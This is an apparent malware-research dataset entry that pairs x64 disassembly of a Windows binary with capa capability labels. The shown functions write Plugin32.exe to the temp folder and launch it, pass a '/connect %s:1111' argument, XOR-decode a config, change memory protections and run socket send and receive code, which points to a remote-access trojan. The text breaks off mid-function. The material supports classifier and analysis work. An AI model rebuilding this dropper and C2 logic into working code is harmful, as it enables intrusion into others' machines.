joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140005280
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rbx
push rsi
push r12
push r13
push r14
lea rbp, [rsp - 0x208]
sub rsp, 0x308
mov rax, qword [0x140033028]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
mov r12, rdx
mov r13, rcx
lea rdx, [rbp - 0x30]
mov ecx, 0x104
mov esi, r8d
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [rsp + 0x50], 0x67756c50
mov dword [rsp + 0x54], 0x32336e69
mov dword [rsp + 0x58], 0x6578652e
mov byte [rsp + 0x5c], 0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
mov r8d, eax
call fcn.140007ba8
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor r14d, r14d
lea rcx, [rbp - 0x30]
mov qword [rsp + 0x30], r14
lea r8d, [r14 + 2]
xor r9d, r9d
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400053da
or rcx, 0xffffffffffffffff
mov qword [rsp + 0x300], rdi
xor eax, eax
mov rdi, r12
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], r14
repne scasb al, byte [rdi]
mov rdi, r12
not rcx
dec rcx
sub esi, ecx
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
lea r8d, [rsi - 1]
not rcx
lea rdx, [rcx + r12]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [r13 + 0x24]
lea rdx, str._connect__s:1111
lea rcx, [rbp + 0xe0]
call fcn.140007ba8
lea r9, [rbp + 0xe0]
lea r8, [rbp - 0x30]
lea rdx, [rsp + 0x44]
xor ecx, ecx
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x44], 0x6e65706f
mov byte [rsp + 0x48], r14b
mov qword [rsp + 0x20], r14
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rdi, qword [rsp + 0x300]
xor eax, eax
mov rcx, qword [rbp + 0x1f0]
xor rcx, rsp
call fcn.140006d30
add rsp, 0x308
pop r14
pop r13
pop r12
pop rsi
pop rbx
pop rbp
ret

Function at 0x14000540c
Capabilities:
Encode data using xor

Disassembly:
cmp edx, 0x105
jne 0x1400054d8
sub rsp, 0x548
mov rax, qword [0x140033028]
xor rax, rsp
mov qword [rsp + 0x530], rax
lea rdx, [rcx + 1]
lea rcx, [rsp + 0x20]
mov r8d, 0x104
call fcn.140006d70
lea r11, [rsp + 0x21]
mov eax, 0x82
nop word [rax + rax]
xor byte [r11 - 1], 0x46
xor byte [r11], 0x46
add r11, 2
dec rax
jne 0x140005450
lea rcx, [rsp + 0x131]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x130], al
call fcn.14000aaa0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x130]
call fcn.140001140
cmp eax, 1
jle 0x1400054c1
cmp byte [rsp + 0x130], 0
je 0x1400054c1
lea rdx, [rsp + 0x130]
lea rcx, [0x14002dfbc]
call fcn.140006b60
mov byte [0x1400362dd], 1
mov byte [0x1400362dc], 1
mov rcx, qword [rsp + 0x530]
xor rcx, rsp
call fcn.140006d30
add rsp, 0x548
repz ret
Function at 0x1400054e0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov rsi, rdx
mov rbp, rcx
mov edx, r8d
mov ecx, 0x40
mov ebx, r8d
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov r8d, ebx
mov rdx, rsi
mov rcx, rax
mov rdi, rax
call fcn.140006d70
lea r11, [0x1400040e0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x30], r11
mov qword [rsp + 0x38], rdi
mov byte [rsp + 0x40], 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
lea r9, [rsp + 0x30]
lea r8, [0x140002680]
mov qword [rsp + 0x48], rax
xor eax, eax
xor edx, edx
mov qword [rsp + 0x28], rax
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rsp + 0x48]
or edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x2068]
mov rsi, qword [rsp + 0x70]
mov ecx, ebx
mov rbx, qword [rsp + 0x60]
mov qword [rbp + rax*8 + 0x128], rcx
inc dword [rbp + 0x2068]
mov rbp, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret

Function at 0x1400055b0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x50
mov r12, rcx
mov ecx, 0x118
mov r13, r9
mov edi, r8d
mov r14, rdx
call fcn.140007164
mov rbx, rax
test rax, rax
je 0x1400056c5
xor edx, edx
mov r8d, 0x118
mov rcx, rax
mov qword [rsp + 0x70], rbp
mov qword [rsp + 0x78], rsi
call fcn.14000aaa0
mov ecx, edi
call fcn.14000711c
mov rsi, rax
test rax, rax
je 0x1400056bb
mov r8d, edi
mov rdx, r14
mov rcx, rax
call fcn.140006d70
lea rcx, [rbx + 0x10]
mov rdx, r13
mov r8d, 0x104
mov qword [rbx + 8], rsi
mov dword [rbx], edi
call fcn.140006d70
lea r11, [0x140004080]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x30], r11
mov qword [rsp + 0x38], rbx
mov byte [rsp + 0x40], 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
lea r9, [rsp + 0x30]
lea r8, [0x140002680]
mov qword [rsp + 0x48], rax
xor eax, eax
xor edx, edx
mov qword [rsp + 0x28], rax
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rsp + 0x48]
or edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [r12 + 0x2068]
mov ecx, ebx
mov qword [r12 + rax*8 + 0x128], rcx
inc dword [r12 + 0x2068]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r13
pop r12
ret
Function at 0x140006400
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x20
mov r8, qword [rcx]
mov rbp, rcx
movabs rcx, 0xffffffff00000000
mov rsi, qword [r8 + 0x30]
movzx eax, word [r8 + 0x14]
xor edi, edi
and rsi, rcx
cmp di, word [r8 + 6]
jae 0x1400064ff
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], r12
lea r12, [0x140034c20]
lea rbx, [rax + r8 + 0x3c]
nop word [rax + rax]
mov r9d, dword [rbx]
mov eax, r9d
mov edx, r9d
mov r10d, r9d
shr eax, 0x1d
shr edx, 0x1e
shr r10d, 0x1f
and eax, 1
and edx, 1
bt r9d, 0x19
jae 0x14000648a
mov ecx, dword [rbx - 0x1c]
mov edx, dword [rbx - 0x14]
mov r8d, 0x4000
or rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x1400064de
movsxd rcx, eax
movsxd rax, edx
lea rdx, [rax + rcx*2]
lea rcx, [r10 + rdx*2]
mov r10d, dword [r12 + rcx*4]
bt r9d, 0x1a
jae 0x1400064a8
bts r10d, 9
mov eax, dword [rbx - 0x14]
test eax, eax
jne 0x1400064c8
test r9b, 0x40
je 0x1400064bb
mov eax, dword [r8 + 0x20]
jmp 0x1400064c4
test r9b, r9b
jns 0x1400064de
mov eax, dword [r8 + 0x24]
test eax, eax
je 0x1400064de
mov ecx, dword [rbx - 0x1c]
lea r9, [rsp + 0x40]
mov edx, eax
or rcx, rsi
mov r8d, r10d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, qword [rbp]
inc edi
add rbx, 0x28
movzx eax, word [r8 + 6]
cmp edi, eax
jl 0x140006450
mov r12, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret

Function at 0x140006b60
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x640
mov rax, qword [0x140033028]
xor rax, rsp
mov qword [rsp + 0x630], rax
mov rdi, rcx
mov rbx, rdx
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x1ff
mov byte [rsp + 0x30], 0
call fcn.14000aaa0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x20], 0x200
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x140006bca
lea rdx, str.UnKnow
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rcx, [rsp + 0x230]
xor edx, edx
mov r8d, 0x400
call fcn.14000aaa0
lea r8, [rsp + 0x30]
lea rdx, str.SOFTWARE_s_
lea rcx, [rsp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfA]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, [rsp + 0x230]
mov r8, rbx
mov r9d, eax
mov rdx, rdi
call fcn.140001900
test eax, eax
setne al
mov rcx, qword [rsp + 0x630]
xor rcx, rsp
call fcn.140006d30
mov rbx, qword [rsp + 0x660]
add rsp, 0x640
pop rdi
ret
Function at 0x140006c40
Capabilities:
Get hostname

Disassembly:
push rbx
sub rsp, 0x640
mov rax, qword [0x140033028]
xor rax, rsp
mov qword [rsp + 0x630], rax
mov rbx, rcx
lea rcx, [0x1400362f0]
xor edx, edx
mov r8d, 0x400
call fcn.14000aaa0
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x1ff
mov byte [rsp + 0x30], 0
call fcn.14000aaa0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x20], 0x200
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x140006cb7
lea rdx, str.UnKnow
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rcx, [rsp + 0x230]
xor edx, edx
mov r8d, 0x400
call fcn.14000aaa0
lea r8, [rsp + 0x30]
lea rdx, str.SOFTWARE_s_
lea rcx, [rsp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rcx, [rsp + 0x230]
mov rdx, rbx
call fcn.1400015e0
lea rax, [0x1400362f0]
mov rcx, qword [rsp + 0x630]
xor rcx, rsp
call fcn.140006d30
add rsp, 0x640
pop rbx
ret

Function at 0x140007fb7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140033028]
jne 0x140006d4a
rol rcx, 0x10
test cx, 0xffff
jne 0x140006d46
repz ret
ror rcx, 0x10
jmp 0x140007f10
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1400351a0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140035298]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140007f95
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1400351a0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140007fb7
mov rax, qword [rsp + 0x88]
mov qword [0x140035298], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140035238], rax
mov rax, qword [0x140035298]
mov qword [0x140035110], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140035220], rax
mov dword [0x140035100], 0xc0000409
mov dword [0x140035104], 1
mov rax, qword [0x140033028]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140033030]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140035198], eax
mov ecx, 1
call fcn.14000ca34
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400266c8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140035198], 0
jne 0x14000803e
mov ecx, 1
call fcn.14000ca34
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x14000bd20
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.14000bb90
Function at 0x14000cfec
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140033028]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140009378
xor ebx, ebx
cmp qword [0x1400361e8], rbx
mov rdi, rax
jne 0x14000d0ff
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x14000d1d6
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000d1d6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x1400361e8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x1400361f0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x1400361f8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140036208], rax
test rax, rax
je 0x14000d0f6
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140036200], rax
jmp 0x14000d106
mov rax, qword [0x140036200]
jmp 0x14000d10d
mov rax, qword [0x140036200]
mov r11, qword [0x140036208]
cmp rax, rdi
je 0x14000d174
cmp r11, rdi
je 0x14000d174
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140036208]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x14000d174
test rax, rax
je 0x14000d174
call rsi
test rax, rax
je 0x14000d16e
lea rcx, [rsp + 0x30]
mov r9d, ntohs
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14000d16e
test byte [rsp + 0x40], 1
jne 0x14000d174
bts ebp, 0x15
jmp 0x14000d1b4
mov rcx, qword [0x1400361f0]
cmp rcx, rdi
je 0x14000d1b4
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000d1b4
call rax
mov rbx, rax
test rax, rax
je 0x14000d1b4
mov rcx, qword [0x1400361f8]
cmp rcx, rdi
je 0x14000d1b4
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000d1b4
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x1400361e8]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000d1d6
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x14000d1d8
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140006d30
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x140012fa0
Capabilities:
Set socket configuration

Disassembly:
mov dword [rsp + 0x10], edx
sub rsp, 0x38
mov edx, 6
lea r9, [rsp + 0x48]
mov dword [rsp + 0x20], 4
lea r8d, [rdx - 5]
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret
Function at 0x140013060
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rdi, rcx
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x48], 0
test edx, edx
jne 0x140013088
lea r9, [rsp + 0x50]
jmp 0x140013092
cmp edx, 1
jne 0x1400130db
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0xfffffffb
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 4
mov rcx, rdi
mov dword [rsp + 0x20], 4
mov ebx, eax
call qword [sym.imp.WS2_32.dll_setsockopt]
or eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
cmp edx, 2
jne 0x14001312e
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0xfffffffb
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
lea r9, [rsp + 0x50]
mov edx, 0xffff
mov r8d, 4
mov rcx, rdi
mov ebx, eax
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
or eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
mov ecx, 0x57
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rbx, qword [rsp + 0x40]
or eax, 0xffffffff
add rsp, 0x30
pop rdi
ret

Function at 0x1400133e0
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rbx, rdx
mov rdi, rcx
lea rdx, [rsp + 0x44]
mov rcx, rbx
mov rbp, r9
mov rsi, r8
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r8d, dword [rsp + 0x60]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x40], eax
mov rax, qword [rsp + 0x40]
cmp rax, rsi
cmovb rax, rsi
xor edx, edx
mov qword [rsp + 0x40], rax
mov ecx, dword [rsp + 0x40]
shr rax, 0x20
mov dword [rsp + 0x20], ecx
mov rcx, rbx
mov r9d, eax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov rcx, rax
mov qword [rdi + 0x10], rax
test rax, rax
jne 0x14001345e
call fcn.140011300
jmp 0x1400134c6
test rsi, rsi
jne 0x140013471
mov rax, qword [rsp + 0x40]
sub rax, rbp
mov qword [rdi + 8], rax
jmp 0x140013475
mov qword [rdi + 8], rsi
mov edx, dword [rsp + 0x68]
mov rax, qword [rdi + 8]
mov qword [rdi + 0x18], rbp
mov r8d, dword [rdi + 0x1c]
mov r9d, ebp
mov qword [rsp + 0x28], 0
mov dword [rdi + 0x20], edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFileEx]
mov qword [rdi], rax
test rax, rax
jne 0x1400134c4
call fcn.140011300
mov rcx, qword [rdi + 0x10]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rdi + 0x10], 0
mov eax, ebx
jmp 0x1400134c6
xor eax, eax
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x1400135b0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x50
xor ebx, ebx
mov rdi, r8
mov rsi, rdx
mov r12, r9
mov dword [rax - 0x38], 0x1c
lea r8, [rax - 0x38]
mov word [rax - 0x30], bx
lea rdx, [rax - 0x30]
cmp dword [rsp + 0x80], ebx
je 0x1400135f4
call qword [sym.imp.WS2_32.dll_getsockname]
jmp 0x1400135fa
call qword [sym.imp.WS2_32.dll_getpeername]
test eax, eax
je 0x140013602
xor eax, eax
jmp 0x14001367d
movzx ecx, word [rsp + 0x2a]
mov qword [rsp + 0x60], rbp
movzx ebp, word [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_ntohs]
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x2c]
mov word [r12], ax
movzx eax, word [rsp + 0x28]
movsxd r9, dword [rdi]
cmp eax, 2
mov r8, rsi
cmovne rdx, rcx
mov ecx, eax
call sub.WS2_32.dll_inet_ntop
test rax, rax
je 0x140013658
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, 1
inc eax
mov dword [rdi], eax
jmp 0x140013676
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x57
jne 0x140013676
mov ecx, 0x2e
mov eax, reloc.WS2_32.dll_recv
cmp bp, 2
cmove ecx, eax
mov dword [rdi], ecx
mov rbp, qword [rsp + 0x60]
mov eax, ebx
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r12
ret

Function at 0x1400136c0
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rax, rcx
mov rcx, qword [rdx + 8]
mov rbx, rdx
xor edx, edx
mov edi, r9d
mov rsi, r8
test rcx, rcx
je 0x140013714
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], 0x80
lea r9d, [rdx + 1]
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rdx
mov r8d, 0x80000000
mov rdx, rax
call fcn.1400132e0
jmp 0x14001373e
mov qword [rsp + 0x30], rdx
xor r9d, r9d
mov rcx, rax
lea r8d, [r9 + 1]
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
jne 0x14001375d
call fcn.140011300
test eax, eax
jns 0x140013760
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
mov qword [rbx], rax
mov rcx, qword [rbx]
lea rdx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x58], eax
cmp eax, 0xffffffff
jne 0x140013780
call fcn.140011300
test eax, eax
js 0x1400137d2
mov rax, qword [rsp + 0x58]
test rax, rax
je 0x1400137c0
cmp rax, rdi
ja 0x1400137c0
mov rdx, qword [rbx]
xor r9d, r9d
xor r8d, r8d
mov rcx, rsi
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 2
call fcn.1400133e0
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
test rax, rax
mov ecx, 0x800700df
mov edx, 0x800703ee
cmove ecx, edx
mov eax, ecx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x140014320
Capabilities:
Connect socket

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rdx
mov rbx, rcx
test r8d, r8d
je 0x1400143a0
mov rdx, qword [rcx + 0x30]
mov rcx, qword [rcx + 0x28]
mov r8d, 0x30
call qword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x14001441b
cmp word [rdi], 2
mov rcx, qword [rbx + 0x28]
mov eax, reloc.WS2_32.dll_recv
mov r8d, 0x1c
mov rdx, rdi
cmove r8d, eax
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x140014390
cmp eax, 0xffffffff
jne 0x14001441b
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x14001441b
mov eax, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
cmp word [rdx], 2
mov rcx, qword [rcx + 0x28]
mov eax, reloc.WS2_32.dll_recv
mov r8d, 0x1c
cmove r8d, eax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x14001441b
mov rdx, qword [rbx + 0x30]
mov rcx, qword [rbx + 0x28]
mov r8d, 0x23
call qword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x14001441b
mov dword [rbx + 0x70], 1
xor ecx, ecx
mov dword [rbx + 0x74], 1
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov r11, qword [rbx]
mov rcx, rbx
call qword [r11 + 0x120]
cmp eax, 2
jne 0x140014390
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x4c7
test eax, eax
cmove eax, ecx
mov ecx, eax
call qword [sym.imp.WS2_32.dll_WSASetLastError]
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x140014560
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov eax, dword [rcx + 0x214]
mov rbx, rcx
test eax, eax
jne 0x14001465e
nop dword [rax + rax]
mov r8d, dword [rbx + 0x44]
mov rdx, qword [rbx + 0x88]
mov rcx, qword [rbx + 0x28]
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test eax, eax
jle 0x140014607
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov r9, qword [rbx]
mov rdx, qword [rbx + 0x88]
mov r8d, edi
mov rcx, rbx
call qword [r9 + 0x140]
cmp eax, 2
jne 0x140014610
mov rdx, qword [rbx + 0x38]
lea rcx, str._C_CNNID:__Iu__OnReceive___event_return_HR_ERROR__connection_will_be_closed___n
call fcn.140013d70
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x4c7
test eax, eax
cmove eax, ecx
mov dword [rbx + 0x18], 1
mov dword [rbx + 0x1c], 4
mov dword [rbx + 0x20], eax
mov dword [rbx + 0x24], 1
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
cmp eax, 0xffffffff
je 0x140014651
test eax, eax
je 0x14001462e
mov eax, dword [rbx + 0x214]
test eax, eax
je 0x140014580
mov eax, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov dword [rbx + 0x18], 1
mov qword [rbx + 0x1c], 5
mov dword [rbx + 0x24], 1
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x1400145e2
mov eax, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140014720
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x20
mov eax, dword [rdx + 0x30]
mov r12, r8
mov rdi, rdx
sub eax, dword [rdx + 0x28]
mov rsi, rcx
je 0x1400147df
nop
mov r8d, dword [rsi + 0x44]
mov rdx, qword [rdi + 0x28]
mov rcx, qword [rsi + 0x28]
cmp eax, r8d
cmovl r8d, eax
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
mov ebp, eax
test eax, eax
jle 0x1400147ce
lea rcx, [rsi + 0x1b0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
sub dword [rsi + 0x210], ebp
lea rcx, [rsi + 0x1b0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsi]
mov rdx, qword [rdi + 0x28]
mov r8d, ebp
mov rcx, rsi
call qword [rax + 0x130]
cmp eax, 2
jne 0x1400147c2
mov rdx, qword [rsi + 0x38]
lea rcx, str._C_CNNID:__Iu__OnSend___event_should_not_return_HR_ERROR____n
call fcn.140013d70
mov edx, ebp
mov rcx, rdi
call fcn.140013be0
jmp 0x1400147d3
cmp eax, 0xffffffff
je 0x1400147ff
mov eax, dword [rdi + 0x30]
sub eax, dword [rdi + 0x28]
jne 0x140014750
mov eax, 1
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
